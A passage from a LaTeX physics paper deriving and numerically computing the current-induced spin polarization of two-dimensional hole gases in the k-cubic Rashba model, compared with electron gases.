\begin{equation}
D_{\pm }(k)=\frac{m_h}{2\pi \hbar ^{2}}\left|1\pm \frac{3m_h \alpha k}{\hbar
^{2}}\right|^{-1}.
\end{equation}%
So the configuration-averaged Green function is given by
\begin{equation}
G^{R}(\mathbf{k},E)=\frac{E-\varepsilon (k)+i\Gamma _{0}+\sum_{i}d_{i}\sigma
_{i}}{(E-E_{+}+i\Gamma _{0})(E-E_{-}+i\Gamma _{0})},
\end{equation}%
where $\Gamma _{0}=-Im[\Sigma _{0}^{R}(\mathbf{k},E)]=\frac{\hbar }{2\tau }$
and $\tau $ is the momentum relaxation time. In the ladder approximation,
the Strda-Smrcka formula (\ref{Kubo2}) for the ESS $\chi$ will reduce to
\begin{equation}
\chi _{\alpha\beta}=e\hbar \int \frac{dE}{2\pi }\left( -\frac{\partial f(E)}{%
\partial E}\right) \int \frac{d^{2}k}{(2\pi )^{2}}Tr\left[ \tilde{S}%
_{\alpha}G^{R}\Upsilon _{\beta}G^{A}\right] , \label{Kubo3}
\end{equation}%
where $\mathbf{\tilde{S}}$ is given by Eqs.(\ref{Sx1})-(\ref{Sz1}) and the
vertex function $\Upsilon _{\beta}(\mathbf{k})$ satisfies the
self-consistent equation~\cite{Mahan}
\begin{equation}
\Upsilon _{\beta}=\tilde{v}_{\beta}+n_{i}V_{0}^{2}\int \frac{d^{2}k}{(2\pi
)^{2}}G^{R}(\mathbf{k},E)\Upsilon _{\beta}G^{A}(\mathbf{k},E).
\label{VereqnkR3}
\end{equation}%
Suppose the electric field is along the x-direction, we solve the vertex
function $\Upsilon_{x}$ iteratively, and get the first-order correction to $%
\Upsilon _{x} $ as
\begin{widetext}
\begin{eqnarray}
\Delta\Upsilon_x^{(1)}&=&n_iV_0^2\int\frac{kdkd\theta}{(2\pi)^2}\frac{\left(\begin{array}{cc}E-\varepsilon(\bold{k})&i\alpha
k_-^3\\-i\alpha k_+^3&E-\varepsilon(\bold{k})\end{array}\right)\left(\begin{array}{cc}\frac{\hbar k_x}{m_h}&\frac{3i\alpha}{\hbar}k_-^2\\
\frac{-3i\alpha}{\hbar}k_+^2&\frac{\hbar
k_x}{m_h}\end{array}\right)\left(\begin{array}{cc}E-\varepsilon(\bold{k})&i\alpha
k_-^3\\-i\alpha k_+^3&E-\varepsilon(\bold{k})\end{array}\right)}
{((E-E_+)^2+\Gamma_0^2)((E-E_-)^2+\Gamma_0^2)}.\label{Vereqn1kR3}
\end{eqnarray}
\end{widetext}
Note that $E_{\pm}$ and $\Gamma _{0}$ are independent of $\theta $ and all
terms in the numerator of the integrand contain something like $exp(\pm
i\theta)$ etc., so the integral over $\theta $ from $0$ to $2\pi $ in Eq.(%
\ref{Vereqn1kR3}) vanishes. Furthermore, the higher order terms for the
vertex correction vanish either, which is quite different from the vertex
correction in the linear-$\mathbf{k}$ Rashba model.~\cite{Inoue1} The same
situation occurs for $\Upsilon_y$. The above results agree with the work by
Schliemann and Loss.~\cite{Schliemann} The calculation of the spin
polarization is straightforward, and to the lowest order in Fermi momentum $%
k_{\pm }^{F}$ and $\alpha$, only the term proportional to $S_{0}$
contributes to the spin polarization. The final result reads
\begin{eqnarray}
\chi _{yx}&=&-\chi_{xy}=\frac{eS_{0}\tau m_{h}E_{F}}{\hbar ^{3}\pi }%
=S_{0}n_{h}\frac{e\tau }{\hbar }, \label{ChiyxkR3} \\
\chi_{xx}&=&\chi_{yy}=0, \label{ChixxkR3}
\end{eqnarray}
where $n_{h}$ is the hole density, $E_{F}$ is the Fermi energy, and only the
leading term in $E_F$ is retained.
In the relaxation time approximation the longitudinal conductivity of 2DHG
equals to
\begin{equation}
\sigma _{xx}=\frac{e^{2}\tau E_{F}}{\hbar ^{2}\pi }. \label{ConducxxkR3}
\end{equation}%
Thus, combining the expressions (\ref{ChiyxkR3}) and (\ref{ConducxxkR3}), we
have the ratio
\begin{equation}
\frac{\langle \tilde{S}_{y}\rangle }{\langle j_{x}\rangle }=\frac{\chi _{yx}%
}{\sigma _{xx}}=\frac{S_{0}m_{h}}{e\hbar }=\frac{\alpha m_{0}m_{h}}{e\hbar
^{3}\gamma _{2}}. \label{SyjxkR3}
\end{equation}%
The formula above can be also obtained from the expression of the
spin operator (\ref{Sy1}) and the velocity operator (\ref{VxkR3}) by
neglecting the non-diagonal part in the spin operator and the
anomalous part in the velocity operator, i.e. $\tilde{S}_y \approx
S_0k_x$ and $j_x \approx{e\hbar k_x}/{m_h}$. Obviously, this ratio
depends only on the material parameters, but not on the impurity
scattering nor the carrier density in the low density limit.
Meanwhile, since both the current and spin polarization can be
measured experimentally, the relation (\ref{SyjxkR3} ) may be
invoked to obtain the $k$-cubic Rashba coefficient $\alpha $
experimentally.
\subsection{ Comparing CISP of 2DHG and 2DEG}
The CISP of 2DHG manifests itselve several features different from that of
2DEG. To illustrate this, let's first take a look at the CISP of 2DEG. The
electric spin susceptibility is given by $\chi _{yx}={2e\tau \alpha _{e}m_{e}%
}/\hbar ^{2}$, where $m_{e}$ is the effective mass of electron and $\alpha
_{e}$ is the linear Rashba coefficient. As shown by Inoue \textit{et al.}%
\cite{Inoue1}, the vertex correction due to the linear Rashba spin splitting
is non-trivial. With the longitudinal conductivity of 2DEG $\sigma _{xx}={%
e^{2}\tau E_{F}}/(\hbar ^{2}\pi )$, we find the ratio of spin polarization
to the current for the 2DEG is
\begin{equation}
\frac{\langle S_{y}^{(e)}\rangle }{\langle j_{x}\rangle }=\frac{\chi_{yx}}{%
\sigma_{xx}}=\frac{2\pi m_{e}\alpha_{e}}{eE_{F}}.
\end{equation}%
Compared with (\ref{SyjxkR3}), we find the CISP of 2DEG is inversely
proportional to Fermi energy. This means the ratio for 2DEG decreases for
heavier doping. This different Fermi-energy dependence stems from the
different types of spin orientation for 2DEG and 2DHG.
The spin orientation, which is the expectation value of spin operator $%
\mathbf{S}$ for an eigenstate, is given by
\begin{eqnarray}
&&\langle k\mu|\tilde{S}_{x}|k\mu\rangle = -S_{0}k\sin \theta +\mu
k^{2}S_{1}\sin \theta , \label{Sx3} \\
&&\langle k\mu|\tilde{S}_{y}|k\mu\rangle =S_{0}k\cos \theta -\mu
k^{2}S_{1}\cos \theta , \label{Sy3} \\
&&\langle k\mu|\tilde{S}_{z}|k\mu\rangle= 0, \label{Sz3}
\end{eqnarray}%
for 2DHG, and
\begin{eqnarray}
\langle k\mu| S^{(e)}_{x}|k\mu\rangle &=&-\mu \sin \theta , \label{Sxe} \\
\langle k\mu| S^{(e)}_{y}|k\mu\rangle &=&\mu \cos \theta , \label{Sye} \\
\langle k\mu| S^{(e)}_{z}|k\mu\rangle &=&0, \label{Sze}
\end{eqnarray}%
for 2DEG. In the following, we take $\langle \mathbf{S}\rangle_{k\mu}$ as
short for the spin orientation above. Eqs.~(\ref{Sxe}) and (\ref{Sye}) show
that spin orientation for 2DEG depends on the spin index $\mu$, which has
opposite values for the two spin-splitting states. But for 2DHG, the first
term in Eqs.~(\ref{Sx3}) and (\ref{Sy3}) is independent of the spin index $%
\mu$. Hence, when $k$ is small, this spin-index-independent term will
dominate over the $k^2$-term, leading to the same spin orientation for the
hole state with opposite $\mu$. This is quite different from the electron
case. An interesting question may be raised: why the holes with opposite $%
\mu $ have the same spin orientation? In the following, we will
analyze this problem and try to find the origin of this particular
spin orientation for 2DHG.
Let's first have a look at the electron case. Due to the spin-orbit coupling
and inversion asymmetry, two-fold degeneracy of a subband is lifted. For a
given $k$, we denote two spin-split states as $|+\rangle=\cos\frac{\theta}{2}%
e^{-i\phi}|\frac{1}{2}\rangle_z+\sin\frac{\theta}{2} |-\frac{1}{2}\rangle_z$
and $|-\rangle= -\sin\frac{\theta}{2}e^{-i\phi}|\frac{1}{2}\rangle_z +\cos%
\frac{\theta}{2}|-\frac{1}{2}\rangle_z$, where $|\pm\frac{1}{2}\rangle_z$
are the eigenstates of $\sigma_z$. It is easy to verify that $|+\rangle$ and
$|-\rangle$ have the opposite spin orientation, namely $\langle +|\vec{\sigma%
}|+\rangle=-\langle -|\vec{\sigma}|-\rangle$.
Similar to 2DEG, two spin-split hole states in the subspace $|\pm\frac{3}{2}%
\rangle$ can be constructed as $|+\rangle=\cos\frac{\theta}{2}e^{-i\phi}|%
\frac{3}{2}\rangle+\sin\frac{\theta}{2} |-\frac{3}{2}\rangle$ and $%
|-\rangle=-\sin\frac{\theta}{2}e^{-i\phi}|\frac{3}{2}\rangle +\cos\frac{%
\theta}{2}|-\frac{3}{2}\rangle$. By Eqs.~(\ref{Sx0}) and (\ref{Sy0}), we can
verify the matrix elements of $\hat{S}_x$ and $\hat{S}_y$ between $|\frac{3}{%
2}\rangle$ and $|-\frac{3}{2}\rangle$ vanish, and $\langle\pm|\hat{S}%
_x|\pm\rangle = \langle\pm|\hat{S}_y|\pm\rangle=0$. This indicates that in
the subspace $|\pm\frac{3}{2} \rangle$, any superposition of $|\pm\frac{3}{2}%
\rangle$ will not give rise to the spin orientation along the x- or
y-direction. Thus it is necessary to take the higher order perturbation into
account, in particular the perturbation from coupling between $|\pm\frac{3}{2%
}\rangle$ and $|\pm\frac{1}{2}\rangle$.
Now we give the outline on the origin of the hole spin orientation by the
perturbation procedure ( more systematic method can be found in Appendix A).
Suppose the $HH1\pm$ states $\Psi_{hh,\pm}$ can be expanded as
\begin{eqnarray}
\Psi_{hh,\pm}=\Psi^{(0)}_{hh,\pm}+\Psi^{(1)}_{hh,\pm}+\Psi^{(2)}_{hh,\pm}+%
\cdots\cdots, \label{Psi1}
\end{eqnarray}
where $\Psi^{(i)}_{hh,\pm}$ denotes the $i$th-order perturbed wave function.
With the basis $|n,\lambda_h\rangle$ [Eq. (\ref{Basiswf})] and the $0$%
th-order term
\begin{eqnarray}
\Psi^{(0)}_{hh,\pm}=|1,\pm\frac{3}{2}\rangle, \label{Psi0}
\end{eqnarray}
we have the first-order correction as
\begin{eqnarray}
&&\Psi^{(1)}_{hh,+}=\frac{|2,\frac{1}{2}\rangle\langle 2,\frac{1}{2}%
|R^{\dag}|1,\frac{3}{2}\rangle } {E_{1,\frac{3}{2}}-E_{2,\frac{1}{2}}}+\frac{%
|1,-\frac{1}{2}\rangle\langle 1,-\frac{1}{2}|T^{\dag}|1,\frac{3}{2}\rangle
} {E_{1,\frac{3}{2}}-E_{1,-\frac{1}{2}}} \nonumber \\
&&+\frac{|2,\frac{3}{2}\rangle\langle 2,\frac{3}{2}|V_a|1,\frac{3}{2}\rangle%
}{E_{1,\frac{3}{2}}-E_{2,\frac{3}{2}}}, \label{Psi1+}
\end{eqnarray}
\begin{eqnarray}
&&\Psi^{(1)}_{hh,-}=\frac{|1,\frac{1}{2}\rangle\langle 1,\frac{1}{2}|T|1,-%
\frac{3}{2}\rangle } {E_{1,-\frac{3}{2}}-E_{1,\frac{1}{2}}}-\frac{|2,-\frac{1%
}{2}\rangle\langle 2,-\frac{1}{2}|R|1,-\frac{3}{2}\rangle } {E_{1,-\frac{3}{2%
}}-E_{2,-\frac{1}{2}}} \nonumber \\
&&+\frac{|2,-\frac{3}{2}\rangle\langle 2,-\frac{3}{2}|V_a|1,-\frac{3}{2}%
\rangle}{E_{1,-\frac{3}{2}}-E_{2,-\frac{3}{2}}}, \label{Psi1-}
\end{eqnarray}
and the second-order correction reads
\begin{eqnarray}
&&\Psi^{(2)}_{hh,+}=\frac{|1,\frac{1}{2}\rangle\langle 1,\frac{1}{2}|V_a|2,%
\frac{1}{2}\rangle \langle 2,\frac{1}{2}|R^{\dag}|1,\frac{3}{2}\rangle} {%
(E_{1,\frac{3}{2}}-E_{1,\frac{1}{2}})(E_{1,\frac{3}{2}}-E_{2,\frac{1}{2}})}
\nonumber \\
&&+\frac{|1,\frac{1}{2}\rangle\langle 1,\frac{1}{2}|R^{\dag}|2, \frac{3}{2}%
\rangle \langle 2,\frac{3}{2}|V_a|1,\frac{3}{2}\rangle}{(E_{1,\frac{3}{2}%
}-E_{1,\frac{1}{2}}) (E_{1,\frac{3}{2}}-E_{2,\frac{3}{2}})}+\cdots,
\label{Psi2+}
\end{eqnarray}
and
\begin{eqnarray}
&&\Psi^{(2)}_{hh,-}=-\frac{|1,-\frac{1}{2}\rangle\langle 1,-\frac{1}{2}%
|V_a|2,-\frac{1}{2}\rangle \langle 2,-\frac{1}{2}|R|1,-\frac{3}{2}\rangle} {%
(E_{1,-\frac{3}{2}}-E_{1,-\frac{1}{2}})(E_{1,-\frac{3}{2}}-E_{2,-\frac{1}{2}%
})} \nonumber \\
&&-\frac{|1,-\frac{1}{2}\rangle\langle 1,-\frac{1}{2}|R|2,-\frac{3}{2}%
\rangle \langle 2,-\frac{3}{2}|V_a|1,-\frac{3}{2}\rangle}{(E_{1,-\frac{3}{2}%
}-E_{1,-\frac{1}{2}}) (E_{1,-\frac{3}{2}}-E_{2,-\frac{3}{2}})}+\cdots.
\label{Psi2-}
\end{eqnarray}
Here $E_{n,\lambda_h}$ stands for the eigenenergy of the state $%
|n,\lambda_h\rangle$. From Eqs.~(\ref{Sx0}) and (\ref{Sy0}), we can see when
$n=1$ the only nonvanishing terms are $\langle 1,\frac{3}{2}|\hat{S}%
_{x(y)}|1,\frac{1}{2} \rangle$ and $\langle 1,-\frac{3}{2}|\hat{S}_{x(y)}|1,-%
\frac{1}{2}\rangle$. Up to the second-order perturbation, two types of terms
can contribute to $\langle\Psi_{hh,\pm}|\hat{S}_{x(y)}| \Psi_{hh,\pm}\rangle$%
.
The first type stems from the first-order perturbation by the $T$-operator
in the Luttinger Hamiltonian [Eq.~(\ref{HamLut})], which couples $|1,-\frac{1%
}{2}\rangle$ ($|1,\frac{1}{2}\rangle$) to $|1,-\frac{3}{2}\rangle$ ($|1,%
\frac{3}{2}\rangle$) [the second term in Eq.~(\ref{Psi1+}) or (\ref{Psi1-}%
)]. So the matrix element $\langle \Psi_{hh,+}|\hat{S}_x|\Psi_{hh,-}\rangle$
equals to
\begin{eqnarray}
\langle\Psi^{(0)}_{hh,+}|\hat{S}_x|\Psi^{(1)}_{hh,-}\rangle+\langle
\Psi^{(1)}_{hh,+}|\hat{S}_x|\Psi^{(0)}_{hh,-} \rangle=\frac{3}{4\pi^2}%
L_z^2k_-^2. \label{Sx1+1-}
\end{eqnarray}
It is obvious that the above formula is just the off-diagonal element in $%
\tilde{S}_x$ matrix [Eq.~(\ref{Sx1})] with the first term in square bracket
of $S_1$ [Eq.~(\ref{S1kR3})] retained. This gives the quadratic-$k$
dependence of the spin orientation shown as the second term in Eq.~(\ref{Sx3}%
).
The second type comes from joint action of the $R$ in in Luttinger
Hamiltonian and the asymmetrical potential $V_a$ [See Eqs.~(\ref{Psi2+}) and
(\ref{Psi2-})]. The second-order perturbation contributes to $%
\langle\Psi_{hh,+}|\hat{S}_x|\Psi_{hh,+}\rangle$ with
\begin{eqnarray}
&&\langle\Psi^{(0)}_{hh,+}|\hat{S}_x|\Psi^{(2)}_{hh,+}\rangle +
\langle\Psi^{(2)}_{hh,+}|\hat{S}_x|\Psi^{(0)}_{hh,+}\rangle \nonumber \\
&&+\langle\Psi^{(1)}_{hh,+}|\hat{S}_x|\Psi^{(1)}_{hh,+}\rangle \nonumber \\
&&=-\frac{512\gamma _{2}L_{z}^{4}eFm_{0}k_{y}}{9\pi ^{6}\hbar
^{2}(3\gamma_{1}+10\gamma _{2})(\gamma _{1}-2\gamma _{2})}. \label{Sx2+}
\end{eqnarray}
This term is just the diagonal element in Eq.~(\ref{Sx1}), which leads to
the first term in Eq.~(\ref{Sx3})
and is resposible for the identical spin orientation for two spin splitting
hole states in small k regime.
The spin splitting between $HH\pm$ depends on the coupling between $|1,\frac{%
3}{2}\rangle$ and $|1,-\frac{3}{2}\rangle$ through higher-order
perturbation. Different from the electron case, the direct coupling will not
cause the x-direction or y-direction spin orientation. Instead, it results
from the coupling between $|1,\frac{3}{2}\rangle$ ($|1,-\frac{3}{2}\rangle$)
and $|1,\frac{1}{2}\rangle$ ($|1,-\frac{1}{2}\rangle$). For two LH1 states,
denoted as $\Psi_{lh,\pm}$, such coupling will lead to the spin orientations
of $\Psi_{lh,+}$ opposite to $\Psi_{hh,+}$, and that of $\Psi_{lh,-}$
opposite to $\Psi_{hh,-}$. Thus the total spin orientation of the 2DHG is
conserved, though $\Psi_{hh,+}$ and $\Psi_{hh,-}$ have the same spin
orientation in the low hole density regime.
\section{Numerical Results for CISP in 2DHG}
Based on the calculated eigenstates and eigenenergies of the total
Hamiltonian (\ref{Ham1}), in this Section we will work out the spin
polarization by using the Bastin version of Kubo formula (\ref{Kubo1}) in
the relaxation time approximation. Of course the validity of such
approximation depends on the vanishing vertex correction as mentioned above.
Our numerical results with an expanded basis set of $N$ basis functions ($N$
is much larger than 8 used in last Section) shows that for a quantum well
with infinitely high potential barrier, when increasing $N$, the
eigenenergies converge to the exact solutions formulated by Huang \textit{%
et. al.}~\cite{KHuang} very quickly. For example, for the quantum well with
width $L_z=83\mathring{A}$, several lowest hole subbands obtained with $N=20$
are almost identical to the exact results. Even for $N=8$, the dispersion of
the lowest heavy and light hole subbands is in good agreement with the exact
results, demonstrating the validity of the truncation procedure in last
Section and Appendix A. Fig. ~\ref{Dispersion} plot the dispersion curves
and spin splitting of hole subbands in the quantum well in the presence of
an electric field. Due to the heavy and light hole mixture effect, the
energy minimum of the lowest light hole subband, marked by $B$ in the
Figure, deviates from the $\Gamma$-point significantly.
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3.3in]
{Energy1.EPS}
\end{center}
\caption{ (Color online) Dispersion relation for a quantum well with
infinite barrier in an electric field. $HH1\pm$ and $LH1\pm$ denote two
lowest heavy- and light- hole subbands, respectively. The parameters for
calculation are taken as: the well width $L_z=83\mathring{A}$, the field
strength $F=50 kV/cm$, $\protect\gamma _{1}=7$ and $\protect\gamma _{2}=1.9$}
\label{Dispersion}
\end{figure}
For the electric spin susceptibility, we calculate $\chi_{yx}$ only, because
$\chi_{xx}=\chi_{yy}=0$ and $\chi_{xy} = \chi_{yx}$ as indicated by Eq.~(\ref%
{chi1}).
After some algebra, we can divide ESS in Eq.(\ref{Kubo1}) into an
intra-subband part $\chi _{yx}^{I}$ and an inter-subband part $\chi
_{yx}^{II}$, which are expressed respectively as
\begin{eqnarray}
\chi _{yx}^{I} &=&\frac{e\hbar }{2\pi }\int \frac{d^{2}k}{(2\pi )^{2}}%
\sum_{\nu }\langle k\nu|\hat{S}_{y}|k\nu\rangle\langle k\nu|\hat{v}%
_{x}|k\nu\rangle\frac{A_{\nu }^{2}}{2}, \label{Kubo41a} \\
\chi _{yx}^{II} &=&\frac{e\hbar }{2\pi }\int \frac{d^{2}k}{(2\pi )^{2}}
\nonumber \\
&&\sum_{\nu >\nu^{\prime}}\Re (\langle k\nu|\hat{S}_{y}|k\nu^{\prime}\rangle%
\langle k\nu^{\prime}|\hat{v}_{x}|k\nu\rangle) A_{\nu }A_{\nu^{\prime}}.
\label{Kubo41b}
\end{eqnarray}
Here $\Re $ denotes the real part, and $\nu $ and $\nu^{\prime}$ stand for
the hole subband. In relaxation time approximation, the spectral function $%
A_{\nu }$ can be expressed as
\begin{equation}
A_{\nu }=\frac{2\eta }{((E-E_{\nu })^{2}+\eta ^{2})^{2}},
\end{equation}%
where $\eta =\frac{\hbar }{2\tau }$.
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3.3in]
{SpinPol1.EPS}
\end{center}
\caption{ (Color online) The calculated ESS for the intra-subband term
(black square line), inter-subband term (red circle line), and their sum
(green triangle line). The scattering induced broadening $\protect\eta$ is
taken as $1.65\times10^{-5}eV $, corresponding to the relaxation time $%
\protect\tau =2\times10^{-11}s$. The spin polarization peak marked with $P$
corresponds to the energy minimum of the lowest light hole subband marked as
$B$ in Fig. \protect\ref{Dispersion}. }
\label{SpinPol}
\end{figure}
A typical curve for the CISP is plotted in Fig.~\ref{SpinPol}. The main
contribution to CISP comes from the intra-subband term, which can be
understood by Eq.~(\ref{Kubo41b}). In the limit $\eta \rightarrow 0$, the
spectral function $A_{\nu }$ tends to be the delta-function $2\pi \delta
(E-E_{\nu })$, making the inter-subband term $A_{\nu}A_{\nu^{\prime}}$ to
vanish except for an accidental degeneracy. Several features in Fig.~\ref%
{SpinPol} are worth pointing out. First, in low doping regime where only $%
HH1\pm $ states near $\Gamma $ point are occupied, spin polarization
exhibits a linear dependence on the Fermi energy. Second, with the hole
density increased, the spin polarization increases at first, then decrease
after reaching a maximum value, and even changes its sign when the hole
density is large enough. Third, when the doping is so heavy that the light
hole subband is occupied, a sharp peak for the spin polarization may be
observed as marked as $P$ in Fig. \ref{SpinPol}.
To understand these features, we turn back to Eq.~(\ref{Kubo41a}), as main
contribution to the spin polarization stems from this intra-subband term.
Based on numerical results as well as Eq.~(\ref{Sy3}), we adopt a function $%
J_{\nu }(k)$ to express the amplitude of the spin orientation associated
with the subband $\nu$, i.e.
\[
(S_{y})_{\nu \nu }=J_{\nu }(k) \cos \theta.
\]
Then, with
\[
(v_{x})_{\nu \nu }=\frac{1}{\hbar}\frac{\partial E_{\nu }}{\partial k_{x}}=%
\frac{1}{\hbar }\frac{\partial E_{\nu }(k)}{\partial k}\cos \theta,
\]
and
\[
A_{\nu }^{2}=\frac{4\pi \tau }{\hbar }\delta (E_{F}-E_{\nu }),
\]
we rewrite Eq.~(\ref{Kubo41a}) as
\begin{equation}
\chi _{yx}=\frac{e\tau }{4\pi \hbar }\sum_{\nu }k_{\nu }^{F}J_{\nu }(k_{\nu
}^{F}), \label{ChiyxNum1}
\end{equation}%
where $k_{\nu }^{F}$ is the Fermi momentum with the hole subband $\nu $.
In the $k$-cubic Rashba model, in which only the lowest heavy hole subband $%
HH1\pm $ is concerned, up to the first-order in $\alpha $, the Fermi
momentum can be expressed as $k_{\mu }^{F}=\frac{\sqrt{ 2m_{h}E_{F}}}{\hbar }%
-\mu \frac{2\alpha m_{h}^{2}E_{F}}{\hbar ^{4}}$. Combined with Eq.(\ref{Sy3}%
),
we obtain
\begin{equation}
\chi _{yx}=\frac{e\tau m_{h}S_{0}E_{F}}{\pi \hbar ^{3}}+\frac{3e\tau
m_{h}^{3}\alpha S_{1}E_{F}^{2}}{\pi \hbar ^{7}}. \label{ChiyxNum2}
\end{equation}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3.3in]
{NumAnaly.EPS}
\end{center}
\caption{ (Color online) Numerically calculated ESS as functions of Fermi
energy (black-square-line) compared with the analytical results
(red-circle-line).}
\label{NumAnaly}
\end{figure}
The first term on the right hand side of Eq.~(\ref{ChiyxNum2}), resulting
from the spin-independent part, is identical to Eq.~(\ref{ChiyxkR3}); while
the second term, proportional to $E_{F}^2$, can be safely ignored in the low
density regime. As shown in Fig.~\ref{NumAnaly}, the analytical results of
the electric spin susceptibility (Eq.~ \ref{ChiyxNum2}) agree well with the
numerical ones, demonstrating the applicability of $k$-cubic Rashba model (%
\ref{HamkR3}) in low doping regime. However, for higher hole density,
numerical results show a drop of the $\chi$ due to the heavy and light hole
mixing effect, which is certainly beyond the simple $k$-cubic Rashba model.
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3.3in]
{Syhh.EPS} \includegraphics[width=3.3in] {Sylh.EPS}
\end{center}
\caption{ (Color online) The magnitude of the spin orientation for the
lowest heavy hole subband (a) and the lowest light hole subband (b). In (a),
the black solid line and red dashed line represent $J_{h+}$ and $J_{h-}$,
respectively; while the green dotted line and blue dashed dotted line denote
the spin- independent part $J^i_h$ and dependent part $J^d_h$, respectively.
The same notions are also applied to (b).}
\label{SyElement}
\end{figure}
For numerical results, similar to the derivation above, we may divide $%
J_{\nu } $ into a spin-dependent part and a spin-independent one, namely,
$J_{\nu \mu }=J_{\nu}^{i}+ \mu J_{\nu}^{d}$. Then the ESS can be expressed
as
\begin{equation}
\chi _{yx}=\chi _{yx}^{i}+\chi _{yx}^{d},
\end{equation}%
in which the spin- independent and dependent part respectively reads
\begin{eqnarray}
\chi _{yx}^{i} &=&\frac{e\tau }{2\pi \hbar }\sum_{\nu}J_{\nu}^{i}\frac{
k_{\nu+}^{F}+k_{\nu-}^{F}}{2}, \label{ChiyxiNum3} \\
\chi _{yx}^{d} &=&\frac{e\tau }{2\pi \hbar }\sum_{\nu}J_{\nu}^{d}\frac{%
k_{\nu+}^{F}-k_{\nu-}^{F}}{2}. \label{ChiyxdNum3}
\end{eqnarray}%
Obviously. $\chi _{yx}^{i}$ depends on the average of Fermi wavenumbers,
while $\chi _{yx}^{d}$ depends on the Fermi wavenumber difference between
two spin-split branches. In most cases, owing to the fact that the spin
splitting is small compared with the Fermi energy, $\chi _{yx}^{i}$ will
dominate the spin polarization. In Fig. \ref{SyElement}(a), we plot the
magnitude of spin orientation associated with the subband $HH1\pm $, denoted
by $J_{h\pm }$, and the corresponding spin- dependent part, $J_{h}^{d}$, and
independent part $J_h^i$. They are related through $J_{h}^{d}=\left(
J_{h+}-J_{h-}\right) /2$ and $J_{h}^{i}=\left( J_{h+}+J_{h-}\right) /2$.
Fig.~\ref{SyElement} indicates that for most values of $k$ $J_{h}^{d}$ is
larger than $J_{h}^{i}$. Compared to the intra-subband contribution in Fig. %
\ref{SpinPol}, the spin-independent magnitude of the spin polarization $%
J_{h}^{i}$ [green-dotted line in Fig. \ref{SyElement}(a)] has similar
behavior: first increasing linearly with $k$, then decreasing with $k$
increased, and even changing the sign for larger $k$.
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3.3in]
{Energy2.EPS}
\end{center}
\caption{ (Color online) Dispersion relation of the lowest light hole
subband $LH1\pm$. }
\label{Dispersion2}
\end{figure}
A pronounced peak of CISP may appear when the Fermi energy just crosses the
bottom of the lowest light hole subband $LH1-$. As amplified in Fig.~\ref%
{Dispersion2}, in the dispersion relation of the subband $LH1\pm$, the wave
numbers $k_{l\pm }^{0}$ corresponding the energy minimum $E_{l\pm }^{0}$
deviate from the $k=0$ point significantly. Around the energy minimum the
energy dispersion can be approximated as $E_{l\mu }(k)=E_{l\mu }^{0}+\frac{1%
}{2}\frac{\partial ^{2}E_{l\mu }(k)}{\partial k^{2}}(k-k_{l\mu }^{0})^{2}$.
Assuming the above energy dispersion and a constant magnitude of $J_{l\mu }$%
, we obtain
\begin{equation}
\chi _{yx}^{\mu}=\frac{e\tau }{2\pi \hbar }k_{l\mu }^{0}J_{l\mu }(k_{l\mu
}^{0}), \label{ChiyxNum4}
\end{equation}%
where $k_{l\mu }^{0}\simeq (k_{\mu }^{F1}+k_{\mu }^{F2})/2$, and $k_{\pm
}^{F1}$ and $k_{\pm }^{F2}$ respectively denote two different Fermi wave
numbers for $LH1\pm$ (Fig. \ref{Dispersion2}). By Eq.~(\ref{ChiyxNum4}) and
Fig.~\ref{SyElement}(b), we can see since $J_{l+ }$ and $J_{l- }$ are large
in the absolute value but almost opposite in the sign, when $%
E_{l+}^{0}>E_{F}>E_{l-}^{0}$, a large spin polarization ${e\tau
k_{l-}^{0}J_{l-}}/(2\pi \hbar )$ is expected; on the other hand, when $%
E_{F}>E_{l+}^{0}>E_{l-}^{0}$, the contributions of $LH1\pm $ to the spin
polarization cancel each other to some extent, resulting in
\begin{equation}
\chi _{yx}=\frac{e\tau }{2\pi \hbar }%
[(k_{l-}^{0}+k_{l+}^{0})J_{l}^{i}+(k_{l+}^{0}-k_{l-}^{0})J_{l}^{d}].
\label{ChiyxNum5}
\end{equation}%
As $J_{l}^{i}$ is much smaller than $J_{l}^{d}$ or $J_{l\pm }$, and $%
k_{l+}^{0}\approx k_{l-}^{0}$, both terms in Eq.~(\ref{ChiyxNum5}) are small
compared to the case when only $LH_-$ is occupied. Apparently, the peak
width depends on the spin splitting between $LH_-$ and $LH_+$.
The temperature dependence of the peak is plotted in Fig. \ref{peak}. Near
the polarization peak, if we only take into account $LH1\pm$, ESS is
expressed by
\begin{equation}
\chi _{yx}=\frac{e\tau }{2\pi \hbar }\sum_{\mu}f(E^0_{l\mu})k^0_{l\mu
}J_{l\mu }(k^0_{l\mu}). \label{ChiyxNum6}
\end{equation}%
At zero temperature, the Fermi distribution function $f(E)$ becomes the
step-function $\theta(E_f-E)$, which reproduces the above analysis. At
finite temperature $T$, if we approximate $k^0_{l\mu }J_{l\mu}(k^0_{l\mu})
\simeq \mu k^0_lJ_l$, and expand the Fermi distribution function at large $%
k_BT$ as $f(E)=\frac{1}{2}(1-\frac{ E-E_F}{2k_BT})$ ( $k_B$ is Boltzmann
constant), then Eq.(\ref{ChiyxNum6}) reduces to
\begin{equation}
\chi _{yx}=\frac{e\tau k^0_{l}J_{l}}{2\pi\hbar}\frac{E_{l+}^0-E_{l-}^0}{4k_BT%
}.
\end{equation}
So ESS is proportional to the ratio of the spin splitting of the LH1
subband, $E_{l+}^0-E_{l-}^0$, to thermal energy $k_BT$. When $k_BT$ is much
larger than the spin splitting, this pronounced spin polarization peak will
smear out.
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3in]
{peaktemp.EPS}
\end{center}
\caption{ (Color online) The spin polarization peak at three different temperatures, 1.2K,
12K and 120K. }
\label{peak}
\end{figure}
\begin{figure}[tbph]
\begin{center}
\includegraphics[width=3.3in]
{SyNh.EPS}
\end{center}
\caption{ $\frac{\langle S_{y}\rangle }{n_{h}}$ as functions of the Fermi
energy. The inset: $\frac{\langle S_{y}\rangle }{n_{h}}$ as functions of
applied field strength $F$. }
\label{SyNhjx}
\end{figure}
Now let's estimate the magnitude of the averaged CISP. In the $k$-cubic
Rashba model with an applied filed $F=50kV/cm$, Eq.(\ref{S0kR3}) gives $%
S_{0}=2.74\mathring{A}$ for $L_{z}=83\mathring{A}$ and $S_{0}=5.77\mathring{A%
}$ for $L_{z}=100\mathring{A}$. If typical relaxation time $\tau $ is taken
to be $2\times 10^{-11}s$ and an in-plane electric field strength $%
